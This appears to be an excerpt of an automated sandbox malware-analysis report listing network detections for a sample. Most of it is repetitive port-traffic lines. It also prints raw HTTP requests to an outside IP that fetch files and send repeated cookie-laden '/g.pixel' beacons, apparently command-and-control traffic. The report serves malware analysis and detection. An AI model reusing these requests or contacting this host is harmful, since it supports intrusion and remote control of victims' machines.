Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49894
Source: unknown Network traffic detected: HTTP traffic on port 49895 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49895
Source: unknown Network traffic detected: HTTP traffic on port 49896 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49896
Source: unknown Network traffic detected: HTTP traffic on port 49897 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49897
Source: unknown Network traffic detected: HTTP traffic on port 49898 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49898
Source: unknown Network traffic detected: HTTP traffic on port 49899 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49899
Source: unknown Network traffic detected: HTTP traffic on port 49900 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49900
Source: unknown Network traffic detected: HTTP traffic on port 49901 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49901
Source: unknown Network traffic detected: HTTP traffic on port 49902 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49902
Source: unknown Network traffic detected: HTTP traffic on port 49903 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49903
Source: unknown Network traffic detected: HTTP traffic on port 49904 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49904
Source: unknown Network traffic detected: HTTP traffic on port 49905 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49905
Source: unknown Network traffic detected: HTTP traffic on port 49906 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49906
Source: unknown Network traffic detected: HTTP traffic on port 49907 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49907
Source: unknown Network traffic detected: HTTP traffic on port 49908 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49908
Source: unknown Network traffic detected: HTTP traffic on port 49909 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49909
Source: unknown Network traffic detected: HTTP traffic on port 49910 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49910
Source: unknown Network traffic detected: HTTP traffic on port 49911 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49911
Source: unknown Network traffic detected: HTTP traffic on port 49912 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49912
Source: unknown Network traffic detected: HTTP traffic on port 49913 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49913
Source: unknown Network traffic detected: HTTP traffic on port 49914 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49914
Source: unknown Network traffic detected: HTTP traffic on port 49915 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49915
Source: unknown Network traffic detected: HTTP traffic on port 49916 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49916
Source: unknown Network traffic detected: HTTP traffic on port 49917 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49917
Source: unknown Network traffic detected: HTTP traffic on port 49918 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49918
Source: unknown Network traffic detected: HTTP traffic on port 49919 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49919
Source: unknown Network traffic detected: HTTP traffic on port 49920 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49920
Source: unknown Network traffic detected: HTTP traffic on port 49921 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49921
Source: unknown Network traffic detected: HTTP traffic on port 49922 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49922
Source: unknown Network traffic detected: HTTP traffic on port 49923 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49923
Source: unknown Network traffic detected: HTTP traffic on port 49924 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49924
Source: unknown Network traffic detected: HTTP traffic on port 49925 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49925
Source: unknown Network traffic detected: HTTP traffic on port 49926 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49926
Source: unknown Network traffic detected: HTTP traffic on port 49927 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49927
Source: unknown Network traffic detected: HTTP traffic on port 49928 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49928
Source: unknown Network traffic detected: HTTP traffic on port 49929 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49929
Source: unknown Network traffic detected: HTTP traffic on port 49930 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49930
Source: unknown Network traffic detected: HTTP traffic on port 49931 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49931
Source: unknown Network traffic detected: HTTP traffic on port 49932 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49932
Source: unknown Network traffic detected: HTTP traffic on port 49933 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49933
Source: unknown Network traffic detected: HTTP traffic on port 49934 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49934
Source: unknown Network traffic detected: HTTP traffic on port 49935 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49935
Source: unknown Network traffic detected: HTTP traffic on port 49936 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49936
Source: unknown Network traffic detected: HTTP traffic on port 49937 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49937
Source: unknown Network traffic detected: HTTP traffic on port 49938 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49938
Source: unknown Network traffic detected: HTTP traffic on port 49939 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49939
Source: unknown Network traffic detected: HTTP traffic on port 49940 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49940
Source: unknown Network traffic detected: HTTP traffic on port 49941 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49941
Source: unknown Network traffic detected: HTTP traffic on port 49942 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49942
Source: unknown Network traffic detected: HTTP traffic on port 49943 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49943
Source: unknown Network traffic detected: HTTP traffic on port 49944 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49944
Source: unknown Network traffic detected: HTTP traffic on port 49945 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49945
Source: unknown Network traffic detected: HTTP traffic on port 49946 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49946
Source: unknown Network traffic detected: HTTP traffic on port 49947 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49947
Source: unknown Network traffic detected: HTTP traffic on port 49948 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49948
Source: unknown Network traffic detected: HTTP traffic on port 49949 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49949
Source: unknown Network traffic detected: HTTP traffic on port 49950 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49950
Source: unknown Network traffic detected: HTTP traffic on port 49951 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49951
Source: unknown Network traffic detected: HTTP traffic on port 49952 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49952
Source: unknown Network traffic detected: HTTP traffic on port 49953 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49953
Source: unknown Network traffic detected: HTTP traffic on port 49954 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49954
Source: unknown Network traffic detected: HTTP traffic on port 49955 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49955
Source: unknown Network traffic detected: HTTP traffic on port 49956 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49956
Source: unknown Network traffic detected: HTTP traffic on port 49957 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49957
Source: unknown Network traffic detected: HTTP traffic on port 49958 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49958
Source: unknown Network traffic detected: HTTP traffic on port 49959 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49959
Source: unknown Network traffic detected: HTTP traffic on port 49960 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49960
Source: unknown Network traffic detected: HTTP traffic on port 49961 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49961
Source: unknown Network traffic detected: HTTP traffic on port 49962 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49962
Source: unknown Network traffic detected: HTTP traffic on port 49963 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49963
Source: unknown Network traffic detected: HTTP traffic on port 49964 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49964
Source: unknown Network traffic detected: HTTP traffic on port 49965 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49965
Source: unknown Network traffic detected: HTTP traffic on port 49966 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49966
Source: unknown Network traffic detected: HTTP traffic on port 49967 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49967
Source: unknown Network traffic detected: HTTP traffic on port 49968 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49968
Source: unknown Network traffic detected: HTTP traffic on port 49969 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49969
Source: unknown Network traffic detected: HTTP traffic on port 49970 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49970
Source: unknown Network traffic detected: HTTP traffic on port 49971 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49971
Source: unknown Network traffic detected: HTTP traffic on port 49972 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49972
Source: unknown Network traffic detected: HTTP traffic on port 49973 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49973
Source: unknown Network traffic detected: HTTP traffic on port 49974 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49974
Source: unknown Network traffic detected: HTTP traffic on port 49975 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49975
Source: unknown Network traffic detected: HTTP traffic on port 49976 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49976
Source: unknown Network traffic detected: HTTP traffic on port 49977 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49977
Source: unknown Network traffic detected: HTTP traffic on port 49978 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49978
Source: unknown Network traffic detected: HTTP traffic on port 49979 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49979
Source: unknown Network traffic detected: HTTP traffic on port 49980 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49980
Source: unknown Network traffic detected: HTTP traffic on port 49981 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49981
Source: unknown Network traffic detected: HTTP traffic on port 49982 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49982
Source: unknown Network traffic detected: HTTP traffic on port 49983 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49983
Source: unknown Network traffic detected: HTTP traffic on port 49984 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49984
Source: unknown Network traffic detected: HTTP traffic on port 49985 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49985
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49730 -> 8.218.236.5:8089
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /0.txt HTTP/1.1Host: 8.218.236.5:8089Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /1.txt HTTP/1.1Host: 8.218.236.5:8089Connection: Keep-Alive
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /j9sF HTTP/1.1User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MALC)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
